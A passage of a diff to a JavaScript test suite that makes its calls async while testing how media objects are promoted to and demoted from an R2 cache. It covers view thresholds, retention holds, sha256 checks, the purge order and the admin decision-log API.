of the window), recent view, size bounds; sandbox tenants never tier');++ // ── 5. Thresholds: viewers, recency, window and size ──++ const few = await addObject(); await setViews(few.id, [[0, 499]]);++ const stale = await addObject(); await setViews(stale.id, [[-5, 900]]); // popular, but not viewed within 3 days++ const outside = await addObject(); await setViews(outside.id, [[-7, 450], [0, 100]]); // day -7 is outside the 7-day window++ const spread = await addObject(); await setViews(spread.id, [[-6, 250], [-3, 150], [0, 100]]);++ const tiny = await addObject({ size: 512 }); await setViews(tiny.id, [[0, 900]]); // under promoteMinSizeMb (0.001 MB)++ const huge = await addObject({ size: 1100000 }); await setViews(huge.id, [[0, 900]]); // over promoteMaxSizeMb (1 MB)++ const projectId = 'prj_01J8Z3Q4X5Y6Z7A8B9C0D1E2F3';++ await db.ensureProjectTenant(projectId, 'sandbox', 0);++ const sandboxed = await addObject({ app: `${projectId}-sandbox` }); await setViews(sandboxed.id, [[0, 900]]);++ const ids = (await tiering.promotionCandidates(policy.settings())).map((c) => c.id);++ assert.ok(ids.includes(pop.id) && ids.includes(spread.id), 'at 500 or more within the window');++ for (const o of [few, stale, outside, tiny, huge]) assert.ok(!ids.includes(o.id), `not a candidate: ${o.id}`);++ s = await tiering.runSweep();++ assert.ok(!(await decisions(sandboxed.id)).length, 'a sandbox object is never considered');++ assert.strictEqual((await tiering.candidates()).find((c) => c.object_id === sandboxed.id).blocked_by, 'developer sandbox objects are never tiered');++ assert.strictEqual((await last(spread.id)).outcome, 'dry_run');++ for (const o of [few, stale, outside, tiny, huge]) assert.strictEqual((await decisions(o.id)).length, 0);++ console.log('✅ thresholds: 7-day viewers (sum of the window), recent view, size bounds; sandbox tenants never tier');-- // ── 6. Gate on: holds and an unverified canonical copy refuse; a released hold promotes ──-- await policy.set({ active: true }, { actor: { type: 'service', id: 'live' }, reason: 'test: gate on' });-- db.run('DELETE FROM media_object_views_daily');-- const hot = addObject(); setViews(hot.id, [[0, 700]]);-- const hold = model.placeHold({ object_id: hot.id, kind: 'admin', reason: 'test' });-- const unchecked = addObject({ verified: false }); setViews(unchecked.id, [[0, 700]]);-- const nohash = addObject({ hash: false }); setViews(nohash.id, [[0, 700]]);-- const tampered = addObject(); setViews(tampered.id, [[0, 700]]);-- const other = Buffer.from(tampered.bytes); other[10] ^= 0xff; fs.writeFileSync(tampered.file, other); // on record verified; on disk not-- s = await tiering.runSweep();-- assert.deepStrictEqual([s.gate, s.promoted, s.refused], [true, 0, 4], JSON.stringify(s));-- assert.ok(/retention hold/.test(last(hot.id).reason) && JSON.parse(last(hot.id).inputs).held === true);-- assert.ok(/never checked/.test(last(unchecked.id).reason), last(unchecked.id).reason);-- assert.ok(/no sha256 on record/.test(last(nohash.id).reason), last(nohash.id).reason);-- assert.ok(/does not match the sha256 on record/.test(last(tampered.id).reason), last(tampered.id).reason);-- for (const o of [hot, unchecked, nohash, tampered]) { assert.ok(!r2Row(o.id)); assert.ok(!buckets['r2-bucket'].has(`objects/live/${o.id}`)); }-- s = await tiering.runSweep();-- assert.strictEqual(decisions(hot.id).length, 1, 'a repeated refusal is logged once a day');-- model.releaseHold(hold.id, 'test');-- s = await tiering.runSweep();-- assert.strictEqual(s.promoted, 1);-- console.log('✅ gate on: a hold, a canonical copy never checked, no sha256 or bytes that no longer match refuse the promotion; released, it promotes');++ // ── 6. Gate on: holds and an unverified canonical copy refuse; a released hold promotes ──++ await policy.set({ active: true }, { actor: { type: 'service', id: 'live' }, reason: 'test: gate on' });++ await db.run('DELETE FROM media_object_views_daily');++ const hot = await addObject(); await setViews(hot.id, [[0, 700]]);++ const hold = await model.placeHold({ object_id: hot.id, kind: 'admin', reason: 'test' });++ const unchecked = await addObject({ verified: false }); await setViews(unchecked.id, [[0, 700]]);++ const nohash = await addObject({ hash: false }); await setViews(nohash.id, [[0, 700]]);++ const tampered = await addObject(); await setViews(tampered.id, [[0, 700]]);++ const other = Buffer.from(tampered.bytes); other[10] ^= 0xff; fs.writeFileSync(tampered.file, other); // on record verified; on disk not++ s = await tiering.runSweep();++ assert.deepStrictEqual([s.gate, s.promoted, s.refused], [true, 0, 4], JSON.stringify(s));++ assert.ok(/retention hold/.test((await last(hot.id)).reason) && JSON.parse((await last(hot.id)).inputs).held === true);++ assert.ok(/never checked/.test((await last(unchecked.id)).reason), (await last(unchecked.id)).reason);++ assert.ok(/no sha256 on record/.test((await last(nohash.id)).reason), (await last(nohash.id)).reason);++ assert.ok(/does not match the sha256 on record/.test((await last(tampered.id)).reason), (await last(tampered.id)).reason);++ for (const o of [hot, unchecked, nohash, tampered]) { assert.ok(!await r2Row(o.id)); assert.ok(!buckets['r2-bucket'].has(`objects/live/${o.id}`)); }++ s = await tiering.runSweep();++ assert.strictEqual((await decisions(hot.id)).length, 1, 'a repeated refusal is logged once a day');++ await model.releaseHold(hold.id, 'test');++ s = await tiering.runSweep();++ assert.strictEqual(s.promoted, 1);++ console.log('✅ gate on: a hold, a canonical copy never checked, no sha256 or bytes that no longer match refuse the promotion; released, it promotes');-- // ── 7. Promotion: copy, verify size and sha256, record; /o/:id plays from R2 ──-- let r = r2Row(hot.id);-- assert.deepStrictEqual([r.state, r.storage_class, r.key, r.checksum, r.size_bytes, !!r.verified_at], ['present', 'cache', `objects/live/${hot.id}`, hot.sum, 4096, true]);-- assert.ok(buckets['r2-bucket'].get(`objects/live/${hot.id}`).equals(hot.bytes), 'the R2 copy is the same bytes');-- assert.ok(fs.existsSync(hot.file) && db.get("SELECT state FROM media_locations WHERE object_id = ? AND provider = 'local'", [hot.id]).state === 'present', 'the canonical copy stays');-- d = last(hot.id);-- assert.deepStrictEqual([d.action, d.outcome, d.trigger, d.from_provider, d.to_provider, d.error], ['promote', 'done', 'sweep', 'local', 'r2', null]);++ // ── 7. Promotion: copy, verify size and sha256, record; /o/:id plays from R2 ──++ let r = await r2Row(hot.id);++ assert.deepStrictEqual([r.state, r.storage_class, r.key, r.checksum, r.size_bytes, !!r.verified_at], ['present', 'cache', `objects/live/${hot.id}`, hot.sum, 4096, true]);++ assert.ok(buckets['r2-bucket'].get(`objects/live/${hot.id}`).equals(hot.bytes), 'the R2 copy is the same bytes');++ assert.ok(fs.existsSync(hot.file) && (await db.get("SELECT state FROM media_locations WHERE object_id = ? AND provider = 'local'", [hot.id])).state === 'present', 'the canonical copy stays');++ d = await last(hot.id);++ assert.deepStrictEqual([d.action, d.outcome, d.trigger, d.from_provider, d.to_provider, d.error], ['promote', 'done', 'sweep', 'local', 'r2', null]);-- const express = require('express');-- const app = express();-- app.set('trust proxy', 'loopback');-- app.use(express.json());-- app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));-- app.use('/o', require('../server/objects/routes').publicRouter);-- const server = await new Promise((ok) => { const x = app.listen(0, '127.0.0.1', () => ok(x)); });-- const base = `http://127.0.0.1:${server.address().port}`;-- const get = (url, headers = {}) => new Promise((resolve, reject) => {-- http.get(url, { headers: { 'User-Agent': BROWSER, ...headers } }, (res) => {-- const b = []; res.on('data', (c) => b.push(c)); res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body: Buffer.concat(b) }));-- }).on('error', reject);-- });-- const call = async (p, key = 'live-key-objtier') => { const x = await get(base + p, { Authorization: `Bearer ${key}` }); return { status: x.status, body: JSON.parse(x.body.toString() || '{}') }; };++ const express = require('express');++ const app = express();++ app.set('trust proxy', 'loopback');++ app.use(express.json());++ app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));++ app.use('/o', require('../server/objects/routes').publicRouter);++ const server = await new Promise((ok) => { const x = app.listen(0, '127.0.0.1', () => ok(x)); });++ const base = `http://127.0.0.1:${server.address().port}`;++ const get = (url, headers = {}) => new Promise((resolve, reject) => {++ http.get(url, { headers: { 'User-Agent': BROWSER, ...headers } }, (res) => {++ const b = []; res.on('data', (c) => b.push(c)); res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body: Buffer.concat(b) }));++ }).on('error', reject);++ });++ const call = async (p, key = 'live-key-objtier') => { const x = await get(base + p, { Authorization: `Bearer ${key}` }); return { status: x.status, body: JSON.parse(x.body.toString() || '{}') }; };-- const web = addObject();-- let g = await get(`${base}/o/${web.id}`, { 'X-Forwarded-For': '192.0.2.44' });-- assert.strictEqual(g.status, 200);-- assert.ok(g.body.equals(web.bytes), 'served from the local canonical copy before');-- await get(`${base}/o/${web.id}`, { 'X-Forwarded-For': '192.0.2.45', 'Sec-GPC': '1' });-- assert.strictEqual(popularity.stats({ ids: [web.id] }).get(web.id).unique_viewers, 1, '/o/:id counts its viewers (not the opted-out one)');-- assert.strictEqual((await tiering.promote(web.id, { trigger: 'manual', reason: 'test' })).outcome, 'done');-- g = await get(`${base}/o/${web.id}`, { 'X-Forwarded-For': '192.0.2.46' });-- assert.strictEqual(g.status, 302);-- const loc = new URL(g.headers.location);-- assert.ok(loc.pathname.endsWith(`/r2-bucket/objects/live/${web.id}`), g.headers.location);-- assert.ok(/^attachment; filename="x\.bin"$/.test(loc.searchParams.get('response-content-disposition')), 'the presigned answer keeps the headers /o would send');-- assert.strictEqual(loc.searchParams.get('response-content-type'), 'application/octet-stream');-- assert.ok((await get(g.headers.location)).body.equals(web.bytes), 'and R2 serves the same bytes');-- assert.strictEqual(popularity.stats({ ids: [web.id] }).get(web.id).unique_viewers, 2);++ const web = await addObject();++ let g = await get(`${base}/o/${web.id}`, { 'X-Forwarded-For': '192.0.2.44' });++ assert.strictEqual(g.status, 200);++ assert.ok(g.body.equals(web.bytes), 'served from the local canonical copy before');++ await get(`${base}/o/${web.id}`, { 'X-Forwarded-For': '192.0.2.45', 'Sec-GPC': '1' });++ assert.strictEqual((await popularity.stats({ ids: [web.id] })).get(web.id).unique_viewers, 1, '/o/:id counts its viewers (not the opted-out one)');++ assert.strictEqual((await tiering.promote(web.id, { trigger: 'manual', reason: 'test' })).outcome, 'done');++ g = await get(`${base}/o/${web.id}`, { 'X-Forwarded-For': '192.0.2.46' });++ assert.strictEqual(g.status, 302);++ const loc = new URL(g.headers.location);++ assert.ok(loc.pathname.endsWith(`/r2-bucket/objects/live/${web.id}`), g.headers.location);++ assert.ok(/^attachment; filename="x\.bin"$/.test(loc.searchParams.get('response-content-disposition')), 'the presigned answer keeps the headers /o would send');++ assert.strictEqual(loc.searchParams.get('response-content-type'), 'application/octet-stream');++ assert.ok((await get(g.headers.location)).body.equals(web.bytes), 'and R2 serves the same bytes');++ assert.strictEqual((await popularity.stats({ ids: [web.id] })).get(web.id).unique_viewers, 2);-- fault.corruptPut = 'r2-bucket';-- const bad = addObject();-- let m = await tiering.promote(bad.id, { reason: 'test' });-- fault.corruptPut = null;-- assert.deepStrictEqual([m.ok, m.outcome], [false, 'failed']);-- assert.ok(/does not match the sha256/.test(m.error), m.error);-- assert.ok(!buckets['r2-bucket'].has(`objects/live/${bad.id}`) && !r2Row(bad.id), 'an R2 copy that does not verify is removed and never recorded');-- assert.ok(last(bad.id).error);-- fault.refusePut = 'r2-bucket';-- const refusedPut = addObject();-- m = await tiering.promote(refusedPut.id, { reason: 'test' });-- fault.refusePut = null;-- assert.deepStrictEqual([m.outcome, !!r2Row(refusedPut.id)], ['failed', false]);-- db.run('DELETE FROM media_object_views_daily WHERE object_id != ?', [bad.id]);-- setViews(bad.id, [[0, 700]]);-- s = await tiering.runSweep();-- assert.deepStrictEqual([s.skipped_backoff, s.promoted, decisions(bad.id).length], [1, 0, 1], 'a failed object waits before the next try');++ fault.corruptPut = 'r2-bucket';++ const bad = await addObject();++ let m = await tiering.promote(bad.id, { reason: 'test' });++ fault.corruptPut = null;++ assert.deepStrictEqual([m.ok, m.outcome], [false, 'failed']);++ assert.ok(/does not match the sha256/.test(m.error), m.error);++ assert.ok(!buckets['r2-bucket'].has(`objects/live/${bad.id}`) && !await r2Row(bad.id), 'an R2 copy that does not verify is removed and never recorded');++ assert.ok((await last(bad.id)).error);++ fault.refusePut = 'r2-bucket';++ const refusedPut = await addObject();++ m = await tiering.promote(refusedPut.id, { reason: 'test' });++ fault.refusePut = null;++ assert.deepStrictEqual([m.outcome, !!await r2Row(refusedPut.id)], ['failed', false]);++ await db.run('DELETE FROM media_object_views_daily WHERE object_id != ?', [bad.id]);++ await setViews(bad.id, [[0, 700]]);++ s = await tiering.runSweep();++ assert.deepStrictEqual([s.skipped_backoff, s.promoted, (await decisions(bad.id)).length], [1, 0, 1], 'a failed object waits before the next try');-- const fromB2 = addObject({ canonical: 'b2' });-- m = await tiering.promote(fromB2.id, { reason: 'test' });-- assert.strictEqual(m.outcome, 'done', JSON.stringify(m));-- assert.ok(buckets['r2-bucket'].get(`objects/live/${fromB2.id}`).equals(fromB2.bytes), 'a B2 canonical copy is copied to R2 under its key');-- assert.strictEqual(last(fromB2.id).from_provider, 'b2');-- assert.strictEqual((await tiering.promote(fromB2.id, { reason: 'again' })).outcome, 'already');-- console.log('✅ promotion copies the canonical copy, checks the R2 copy\'s size and sha256 before recording it; /o/:id then redirects to R2 with its own headers; failures leave nothing and back off');++ const fromB2 = await addObject({ canonical: 'b2' });++ m = await tiering.promote(fromB2.id, { reason: 'test' });++ assert.strictEqual(m.outcome, 'done', JSON.stringify(m));++ assert.ok(buckets['r2-bucket'].get(`objects/live/${fromB2.id}`).equals(fromB2.bytes), 'a B2 canonical copy is copied to R2 under its key');++ assert.strictEqual((await last(fromB2.id)).from_provider, 'b2');++ assert.strictEqual((await tiering.promote(fromB2.id, { reason: 'again' })).outcome, 'already');++ console.log('✅ promotion copies the canonical copy, checks the R2 copy\'s size and sha256 before recording it; /o/:id then redirects to R2 with its own headers; failures leave nothing and back off');-- // ── 8. Demotion: idle or not ready; never the last good copy; holds; purge waits for it ──-- db.run('DELETE FROM media_object_views_daily');-- setViews(hot.id, [[-20, 900]]); ageR2(hot.id, 20); // idle 20 days, in R2 20 days-- const fresh = addObject(); await tiering.promote(fresh.id, { reason: 'test' }); // no viewer, but in R2 since now-- setViews(web.id, [[0, 3]]); ageR2(web.id, 20); // viewed today-- const lost = addObject(); await tiering.promote(lost.id, { reason: 'test' }); ageR2(lost.id, 20);-- fs.unlinkSync(lost.file); // the canonical copy is gone: R2 is the last good copy-- const drifted = addObject(); await tiering.promote(drifted.id, { reason: 'test' }); ageR2(drifted.id, 20);-- const flipped = Buffer.from(drifted.bytes); flipped[0] ^= 0xff; fs.writeFileSync(drifted.file, flipped);-- const pinned = addObject(); await tiering.promote(pinned.id, { reason: 'test' }); ageR2(pinned.id, 20);-- const pin = model.placeHold({ object_id: pinned.id, kind: 'creator_pin', reason: 'test' });-- const gone = addObject(); await tiering.promote(gone.id, { reason: 'test' }); setViews(gone.id, [[0, 900]]);-- model.softDelete(model.getObject(gone.id), { by: 'test' });-- const sticky = addObject(); await tiering.promote(sticky.id, { reason: 'test' }); ageR2(sticky.id, 20);-- fault.keepOnDelete = 'r2-bucket';-- // Only the sticky object sees the store keep its bytes: demote it on its own first.-- m = await tiering.demote(sticky.id, { reason: 'test' });-- fault.keepOnDelete = null;-- assert.deepStrictEqual([m.outcome, !!r2Row(sticky.id)], ['failed', true]);-- assert.ok(/still there/.test(m.error));-- // Seven hours ago: past the back-off, so the sweep below tries again (and still within the 24-hour counts).-- db.run("UPDATE media_object_tier_decisions SET decided_at = strftime('%Y-%m-%dT%H:%M:%fZ', 'now', '-7 hours') WHERE object_id = ? AND outcome = 'failed'", [sticky.id]);-- await policy.set({ maxDemotionsPerSweep: 20 }, { reason: 'test: room for every demotion' });-- s = await tiering.runSweep();-- assert.ok(!r2Row(hot.id) && !buckets['r2-bucket'].has(`objects/live/${hot.id}`), 'an idle object leaves R2');-- assert.ok(fs.existsSync(hot.file) && db.get("SELECT state FROM media_locations WHERE object_id = ? AND provider = 'local'", [hot.id]).state === 'present');-- d = last(hot.id);-- assert.deepStrictEqual([d.action, d.outcome, d.from_provider, d.to_provider], ['demote', 'done', 'r2', 'local']);-- assert.ok(/idle for demoteIdleDays 14/.test(d.reason), d.reason);-- assert.ok(r2Row(fresh.id) && r2Row(web.id), 'an object in R2 for less than demoteIdleDays, or viewed, stays');-- assert.ok(r2Row(lost.id) && buckets['r2-bucket'].has(`objects/live/${lost.id}`), 'the last good copy is never removed');-- assert.deepStrictEqual([last(lost.id).outcome, /the canonical local file is missing; the R2 copy is kept/.test(last(lost.id).reason)], ['refused', true]);-- assert.ok(r2Row(drifted.id) && /does not match the sha256/.test(last(drifted.id).reason), 'nor one whose canonical copy no longer hashes right');-- assert.ok(r2Row(pinned.id) && /retention hold/.test(last(pinned.id).reason), 'a hold blocks the demotion');-- assert.ok(!r2Row(gone.id) && /the object is deleted/.test(last(gone.id).reason), 'a deleted object leaves R2 however popular');-- assert.ok(!r2Row(cached.id), 'the month-idle copy from before goes too');-- assert.ok(!r2Row(sticky.id), 'and the one the store kept once, now that it lets go');-- g = await get(`${base}/o/${lost.id}`);-- assert.strictEqual(g.status, 302, 'the object whose canonical copy is lost still plays from R2');-- g = await get(`${base}/o/${hot.id}`);-- assert.strictEqual(g.status, 200, 'a demoted object plays from its canonical copy again');-- model.releaseHold(pin.id, 'test');++ // ── 8. Demotion: idle or not ready; never the last good copy; holds; purge waits for it ──++ await db.run('DELETE FROM media_object_views_daily');++ await setViews(hot.id, [[-20, 900]]); await ageR2(hot.id, 20); // idle 20 days, in R2 20 days++ const fresh = await addObject(); await tiering.promote(fresh.id, { reason: 'test' }); // no viewer, but in R2 since now++ await setViews(web.id, [[0, 3]]); await ageR2(web.id, 20); // viewed today++ const lost = await addObject(); await tiering.promote(lost.id, { reason: 'test' }); await ageR2(lost.id, 20);++ fs.unlinkSync(lost.file); // the canonical copy is gone: R2 is the last good copy++ const drifted = await addObject(); await tiering.promote(drifted.id, { reason: 'test' }); await ageR2(drifted.id, 20);++ const flipped = Buffer.from(drifted.bytes); flipped[0] ^= 0xff; fs.writeFileSync(drifted.file, flipped);++ const pinned = await addObject(); await tiering.promote(pinned.id, { reason: 'test' }); await ageR2(pinned.id, 20);++ const pin = await model.placeHold({ object_id: pinned.id, kind: 'creator_pin', reason: 'test' });++ const gone = await addObject(); await tiering.promote(gone.id, { reason: 'test' }); await setViews(gone.id, [[0, 900]]);++ await model.softDelete(await model.getObject(gone.id), { by: 'test' });++ const sticky = await addObject(); await tiering.promote(sticky.id, { reason: 'test' }); await ageR2(sticky.id, 20);++ fault.keepOnDelete = 'r2-bucket';++ // Only the sticky object sees the store keep its bytes: demote it on its own first.++ m = await tiering.demote(sticky.id, { reason: 'test' });++ fault.keepOnDelete = null;++ assert.deepStrictEqual([m.outcome, !!await r2Row(sticky.id)], ['failed', true]);++ assert.ok(/still there/.test(m.error));++ // Seven hours ago: past the back-off, so the sweep below tries again (and still within the 24-hour counts).++ await db.run("UPDATE media_object_tier_decisions SET decided_at = ov_now_iso('-7 hours') WHERE object_id = ? AND outcome = 'failed'", [sticky.id]);++ await policy.set({ maxDemotionsPerSweep: 20 }, { reason: 'test: room for every demotion' });++ s = await tiering.runSweep();++ assert.ok(!await r2Row(hot.id) && !buckets['r2-bucket'].has(`objects/live/${hot.id}`), 'an idle object leaves R2');++ assert.ok(fs.existsSync(hot.file) && (await db.get("SELECT state FROM media_locations WHERE object_id = ? AND provider = 'local'", [hot.id])).state === 'present');++ d = await last(hot.id);++ assert.deepStrictEqual([d.action, d.outcome, d.from_provider, d.to_provider], ['demote', 'done', 'r2', 'local']);++ assert.ok(/idle for demoteIdleDays 14/.test(d.reason), d.reason);++ assert.ok(await r2Row(fresh.id) && await r2Row(web.id), 'an object in R2 for less than demoteIdleDays, or viewed, stays');++ assert.ok(await r2Row(lost.id) && buckets['r2-bucket'].has(`objects/live/${lost.id}`), 'the last good copy is never removed');++ assert.deepStrictEqual([(await last(lost.id)).outcome, /the canonical local file is missing; the R2 copy is kept/.test((await last(lost.id)).reason)], ['refused', true]);++ assert.ok(await r2Row(drifted.id) && /does not match the sha256/.test((await last(drifted.id)).reason), 'nor one whose canonical copy no longer hashes right');++ assert.ok(await r2Row(pinned.id) && /retention hold/.test((await last(pinned.id)).reason), 'a hold blocks the demotion');++ assert.ok(!await r2Row(gone.id) && /the object is deleted/.test((await last(gone.id)).reason), 'a deleted object leaves R2 however popular');++ assert.ok(!await r2Row(cached.id), 'the month-idle copy from before goes too');++ assert.ok(!await r2Row(sticky.id), 'and the one the store kept once, now that it lets go');++ g = await get(`${base}/o/${lost.id}`);++ assert.strictEqual(g.status, 302, 'the object whose canonical copy is lost still plays from R2');++ g = await get(`${base}/o/${hot.id}`);++ assert.strictEqual(g.status, 200, 'a demoted object plays from its canonical copy again');++ await model.releaseHold(pin.id, 'test');-- const purged = addObject(); await tiering.promote(purged.id, { reason: 'test' });-- model.softDelete(model.getObject(purged.id), { by: 'test' });-- db.run("UPDATE media_objects SET deleted_at = datetime('now', '-40 days') WHERE id = ?", [purged.id]);-- model.purgeExpired();-- assert.ok(fs.existsSync(purged.file) && r2Row(purged.id), 'the purge waits while the object still has an R2 copy');-- await tiering.demote(purged.id, { trigger: 'sweep', reason: 'the object is deleted' });-- model.purgeExpired();-- assert.ok(!fs.existsSync(purged.file) && !r2Row(purged.id), 'and purges once the R2 copy is gone');-- console.log('✅ demotion: idle (and settled) or not ready; refused under a hold or when the canonical copy does not check out; a failed delete keeps the row; the purge waits for it');++ const purged = await addObject(); await tiering.promote(purged.id, { reason: 'test' });++ await model.softDelete(await model.getObject(purged.id), { by: 'test' });++ await db.run("UPDATE media_objects SET deleted_at = datetime('now', '-40 days') WHERE id = ?", [purged.id]);++ await model.purgeExpired();++ assert.ok(fs.existsSync(purged.file) && await r2Row(purged.id), 'the purge waits while the object still has an R2 copy');++ await tiering.demote(purged.id, { trigger: 'sweep', reason: 'the object is deleted' });++ await model.purgeExpired();++ assert.ok(!fs.existsSync(purged.file) && !await r2Row(purged.id), 'and purges once the R2 copy is gone');++ console.log('✅ demotion: idle (and settled) or not ready; refused under a hold or when the canonical copy does not check out; a failed delete keeps the row; the purge waits for it');-- // ── 9. The decision log: admin API, metric, operator views ──-- const gamesObj = addObject({ app: 'games' });-- await tiering.promote(gamesObj.id, { reason: 'games' });-- const cand = addObject(); setViews(cand.id, [[0, 800]]);-- let a = await call('/api/v1/live/admin/storage/tiers/objects/policy');-- assert.strictEqual(a.status, 200, JSON.stringify(a.body));-- assert.deepStrictEqual([a.body.gate.active, a.body.gate.source], [true, 'setting']);-- assert.deepStrictEqual(a.body.thresholds.promoteMinUniqueViewers7d, { value: 500, default: 500, source: 'default' });-- assert.ok(/promoteMinUniqueViewers7d \(500\)/.test(a.body.rules.promote) && /last good copy/.test(a.body.rules.demote));-- assert.deepStrictEqual(a.body.candidates.map((c) => [c.object_id, c.unique_viewers_7d, c.blocked_by]), [[cand.id, 800, null]]);-- assert.strictEqual(a.body.provider.r2.configured, true);-- const c24 = a.body.decisions.last_24h;-- assert.ok(c24.promote.dry_run >= 3 && c24.promote.done >= 10 && c24.promote.refused >= 4 && c24.promote.failed >= 2 && c24.promote.already === 1, JSON.stringify(c24));-- assert.ok(c24.demote.done >= 4 && c24.demote.refused >= 3 && c24.demote.failed === 1 && c24.demote.dry_run === 1, JSON.stringify(c24));-- assert.ok(a.body.decisions.recent.every((x) => x.app_id === 'live') && a.body.decisions.recent[0].inputs && a.body.decisions.recent[0].thresholds);-- a = await call('/api/v1/live/admin/storage/tiers/objects/decisions?outcome=dry_run&limit=2');-- assert.deepStrictEqual([a.body.decisions.length, a.body.decisions.every((x) => x.outcome === 'dry_run'), a.body.next_before_id != null], [2, true, true]);-- a = await call(`/api/v1/live/admin/storage/tiers/objects/decisions?object_id=${bad.id}`);-- assert.deepStrictEqual(a.body.decisions.map((x) => x.outcome), ['failed']);-- assert.strictEqual((await call('/api/v1/live/admin/storage/tiers/objects/decisions?action=move')).status, 400);-- assert.strictEqual((await call('/api/v1/live/admin/storage/tiers/objects/decisions?outcome=nope')).status, 400);-- a = await call('/api/v1/games/admin/storage/tiers/objects/decisions', 'games-key-objtier');-- assert.deepStrictEqual(a.body.decisions.map((x) => x.object_id), [gamesObj.id], 'each app sees its own');-- assert.ok((await call('/api/v1/live/admin/storage/tiers/objects/policy', 'wrong-key')).status >= 401);-- a = await call('/api/v1/live/admin/storage/config');-- const ns = a.body.namespaces.find((n) => n.namespace === 'media.object_tier');-- assert.ok(ns && ns.values.active === true && ns.values.promoteMinUniqueViewers7d === 500, 'the policy is in the config routes');-- a = await call('/api/v1/live/admin/storage/config/media.object_tier/history');-- assert.deepStrictEqual(a.body.snapshots.map((x) => x.state), ['active', 'superseded', 'superseded', 'superseded']);-- const post = (p, body) => new Promise((resolve, reject) => {-- const data = JSON.stringify(body);-- const rq = http.request(base + p, { method: 'POST', headers: { Authorization: 'Bearer live-key-objtier', 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } },-- (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });-- rq.on('error', reject);-- rq.end(data);-- });-- a = await post('/api/v1/live/admin/storage/config/media.object_tier', { values: { active: false }, merge: true, reason: 'gate off through the route' });-- assert.strictEqual(a.status, 200, JSON.stringify(a.body));-- assert.strictEqual(policy.settings().active, false);-- a = await post('/api/v1/live/admin/storage/config/media.object_tier', { values: { active: true }, merge: true, reason: 'and on again' });-- assert.deepStrictEqual([a.status, policy.settings().active, policy.thresholds().active.source], [200, true, 'setting']);-- a = await post('/api/v1/live/admin/storage/config/media.object_tier', { values: { demoteIdleDays: 2 }, merge: true, reason: 'flapping' });-- assert.deepStrictEqual([a.status, policy.settings().demoteIdleDays], [422, 14], 'the route refuses what the rules refuse');++ // ── 9. The decision log: admin API, metric, operator views ──++ const gamesObj = await addObject({ app: 'games' });++ await tiering.promote(gamesObj.id, { reason: 'games' });++ const cand = await addObject(); await setViews(cand.id, [[0, 800]]);++ let a = await call('/api/v1/live/admin/storage/tiers/objects/policy');++ assert.strictEqual(a.status, 200, JSON.stringify(a.body));++ assert.deepStrictEqual([a.body.gate.active, a.body.gate.source], [true, 'setting']);++ assert.deepStrictEqual(a.body.thresholds.promoteMinUniqueViewers7d, { value: 500, default: 500, source: 'default' });++ assert.ok(/promoteMinUniqueViewers7d \(500\)/.test(a.body.rules.promote) && /last good copy/.test(a.body.rules.demote));++ assert.deepStrictEqual(a.body.candidates.map((c) => [c.object_id, c.unique_viewers_7d, c.blocked_by]), [[cand.id, 800, null]]);++ assert.strictEqual(a.body.provider.r2.configured, true);++ const c24 = a.body.decisions.last_24h;++ assert.ok(c24.promote.dry_run >= 3 && c24.promote.done >= 10 && c24.promote.refused >= 4 && c24.promote.failed >= 2 && c24.promote.already === 1, JSON.stringify(c24));++ assert.ok(c24.demote.done >= 4 && c24.demote.refused >= 3 && c24.demote.failed === 1 && c24.demote.dry_run === 1, JSON.stringify(c24));++ assert.ok(a.body.decisions.recent.every((x) => x.app_id === 'live') && a.body.decisions.recent[0].inputs && a.body.decisions.recent[0].thresholds);++ a = await call('/api/v1/live/admin/storage/tiers/objects/decisions?outcome=dry_run&limit=2');++ assert.deepStrictEqual([a.body.decisions.length, a.body.decisions.every((x) => x.outcome === 'dry_run'), a.body.next_before_id != null], [2, true, true]);++ a = await call(`/api/v1/live/admin/storage/tiers/objects/decisions?object_id=${bad.id}`);++ assert.deepStrictEqual(a.body.decisions.map((x) => x.outcome), ['failed']);++ assert.strictEqual((await call('/api/v1/live/admin/storage/tiers/objects/decisions?action=move')).status, 400);++ assert.strictEqual((await call('/api/v1/live/admin/storage/tiers/objects/decisions?outcome=nope')).status, 400);++ a = await call('/api/v1/games/admin/storage/tiers/objects/decisions', 'games-key-objtier');++ assert.deepStrictEqual(a.body.decisions.map((x) => x.object_id), [gamesObj.id], 'each app sees its own');++ assert.ok((await call('/api/v1/live/admin/storage/tiers/objects/policy', 'wrong-key')).status >= 401);++ a = await call('/api/v1/live/admin/storage/config');++ const ns = a.body.namespaces.find((n) => n.namespace === 'media.object_tier');++ assert.ok(ns && ns.values.active === true && ns.values.promoteMinUniqueViewers7d === 500, 'the policy is in the config routes');++ a = await call('/api/v1/live/admin/storage/config/media.object_tier/history');++ assert.deepStrictEqual(a.body.snapshots.map((x) => x.state), ['active', 'superseded', 'superseded', 'superseded']);++ const post = (p, body) => new Promise((resolve, reject) => {++ const data = JSON.stringify(body);++ const rq = http.request(base + p, { method: 'POST', headers: { Authorization: 'Bearer live-key-objtier', 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } },++ (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });++ rq.on('error', reject);++ rq.end(data);++ });++ a = await post('/api/v1/live/admin/storage/config/media.object_tier', { values: { active: false }, merge: true, reason: 'gate off through the route' });++ assert.strictEqual(a.status, 200, JSON.stringify(a.body));++ assert.strictEqual(policy.settings().active, false);++ a = await post('/api/v1/live/admin/storage/config/media.object_tier', { values: { active: true }, merge: true, reason: 'and on again' });++ assert.deepStrictEqual([a.status, policy.settings().active, policy.thresholds().active.source], [200, true, 'setting']);++ a = await post('/api/v1/live/admin/storage/config/media.object_tier', { values: { demoteIdleDays: 2 }, merge: true, reason: 'flapping' });++ assert.deepStrictEqual([a.status, policy.settings().demoteIdleDays], [422, 14], 'the route refuses what the rules refuse');-- db.run("INSERT INTO media_tier_decisions (vod_id, app_id, action, outcome, trigger, reason) VALUES (1, 'live', 'promote', 'done', 'admin', 'test')");-- const registry = require('openvibe-shared/metrics').createRegistry();-- require('../server/observability').domainMetrics(registry, { db, recorder: { activeCount: () => 0 }, events: { status: () => ({ enabled: false }) } });-- const text = registry.metrics();-- const all24 = tiering.counts24h();-- assert.ok(text.includes(`media_tier_decisions_24h{target="object",action="promote",outcome="done"} 